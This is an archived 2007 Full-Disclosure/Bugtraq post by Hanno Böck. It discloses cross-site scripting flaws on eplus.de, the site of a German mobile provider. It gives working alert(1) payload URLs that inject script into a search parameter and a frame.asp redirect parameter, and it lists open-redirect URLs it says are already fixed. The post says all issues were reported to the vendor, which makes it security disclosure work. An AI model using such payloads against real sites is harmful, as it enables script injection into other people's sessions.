lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Mon, 12 Mar 2007 19:15:14 +0100
From: "Hanno Böck" <mail@...eck.de>
To: bugtraq@...urityfocus.com, full-disclosure@...ts.grok.org.uk
Subject: XSS on eplus.de, german mobile telephony provider

Here we go:
 
http://www.eplus.de/meta/shopsuche/suche_ausgabe.asp?suchwort="><script>alert(1)</script>
http://www.eplus-unternehmen.de/frame.asp?go=http://www.eplus.de/');alert(1);document.write('
http://www.eplus-unternehmen.de/frame.asp?go=');alert('
 
Already fixed ones:
http://www.eplus-unternehmen.de/frame.asp?go=http://www.google.de/
http://www.eplus-unternehmen.de/frame.asp?go=http://www.eplus.de@www.google.de
http://www.eplus-unternehmen.de/frame.asp?go=http://www.eplus.dedomain.com
http://www.eplus-unternehmen.de/frame.asp?go=http://www.eplus.de.mydomain.com

With lot's of work done by alexander brachmann, www.bitsploit.de.
All have been reported to E-Plus before.

Blog-entry english:
http://www.hboeck.de/item/458

Blog-entry german (more detailed):
http://www.hboeck.de/item/457

-- 
Hanno Böck		Blog:   http://www.hboeck.de/
GPG: 3DBD3B20		Jabber: jabber@...eck.de

Content of type "application/pgp-signature" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists